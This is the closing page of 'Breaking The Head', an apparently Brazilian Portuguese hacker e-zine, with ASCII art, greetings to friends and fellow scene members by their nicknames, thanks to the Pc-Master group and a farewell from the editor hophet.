    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;







Quero mandar um grande bejo pra Jirlena, pra Joane, pra
Diamante(como prometido :D) pra Gleice e pra B@by. E um 
grande abraco pros meus irmaos EvilLord, Sneep, n3twork 
Blood_Sucker, eSc2, Fingu, r0ot, Anjinho, kinin, rps, Edson.
E pra todos que aqui nao coloquei o nick mas estao aqui 
no meu coracao.

Estarei sempre respondendo aos emails fiquem avontade pra
qualquer questionamento. 

hophet@yahoo.com.br

Pronto, a zine vai terminando por aqui, quem sabe um dia 
nos nao voltamos a fazer uma E-zine ainda melhor.

Quero agradecer em especial ao pessoal da Pc-Master que sempre
nos tratou com respeito e falorizando a liberdade de informacao,
agradeco o espaco que nos foi fornecido, um abracao ao Edson. 

Um enorme abraco a todos que nos ajudaram ateh aqui, lendo,
criticando, escrevendo, enfim a todos.









   
      
             bth - hophet@yahoo.com.br
             -------------------------

 \$$$$$$$$$$$$$$\   \$$$$$$$$$$$$$$$$ \$$$$$$    \$$$$$$E
   $$$$$$    \$$$$\  $$$  $$$$$$  $$$   $$$$$      $$$$$v
   $$$$$$       $$$  $/   $$$$$$   \$   $$$$$      $$$$$i
   $$$$$$    /$$$$/       $$$$$$        $$$$$\    /$$$$$l
   $$$$$$$$$$$$$|         $$$$$$        $$$$$$$$$$$$$$$$
   $$$$$$    \$$$$\       $$$$$$        $$$$$/    \$$$$$L
   $$$$$$       $$$       $$$$$$        $$$$$      $$$$$o
   $$$$$$    /$$$$/       $$$$$$        $$$$$      $$$$$r
 /$$$$$$$$$$$$$/        /$$$$$$$$\    \$$$$$$    /$$$$$$d
 $$$$/                  $$$$/                    $$$$/
 $$/                    $$/                      $$/
$/                     $/                       $/

              Breaking The Head - e-Zine
              --------------------------






      /|
    ,' |
    |  |
    `. |.----.--.
      \| . `  \. )
       |---------|
       /       ^ _\
     .'    \   ///)
  .-'`.    /`---._|
 /_    `--'\















 # eof ...
